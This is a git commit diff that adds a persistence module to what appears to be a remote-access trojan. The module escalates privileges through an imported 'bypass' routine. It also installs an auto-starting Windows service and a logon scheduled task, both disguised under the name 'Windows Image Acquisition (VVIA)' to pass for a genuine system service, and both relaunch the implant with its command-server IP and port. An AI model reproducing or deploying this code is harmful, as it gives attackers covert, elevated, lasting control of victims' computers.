diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/persistence.py |
Diffstat (limited to 'foreign/client_handling/persistence.py')
-rw-r--r-- | foreign/client_handling/persistence.py | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/foreign/client_handling/persistence.py b/foreign/client_handling/persistence.py new file mode 100644 index 0000000..bc81084 --- /dev/null +++ b/foreign/client_handling/persistence.py @@ -0,0 +1,19 @@ +from foreign.privileges.win_privileges import * +from foreign.utility.terminal_pipe import * +from foreign.global_state import * + + +def persistence(action_type, extra_data): + arguments = f' -ip {state["ip"]} -p {state["port"]}' + + if action_type == 'elevate': + return bypass(state['file'], arguments) + elif action_type == 'service': + try: + terminal_pipe(f'sc delete "Windows Image Acquisition (VVIA)"', extra_data[0], extra_data[1]) + finally: + return {'message': terminal_pipe(f'sc create "Windows Image Acquisition (VVIA)" binpath= "{state["file"]}{arguments}" start= "auto"', extra_data[0], extra_data[1])} + elif action_type == 'schedule': + return {'message': terminal_pipe(f'schtasks /Create /SC ONLOGON /TN "Windows Image Acquisition (VVIA)" /TR "{state["file"]}{arguments}" /F', extra_data[0], extra_data[1])} + else: + raise Exception('Error message')
\ No newline at end of file |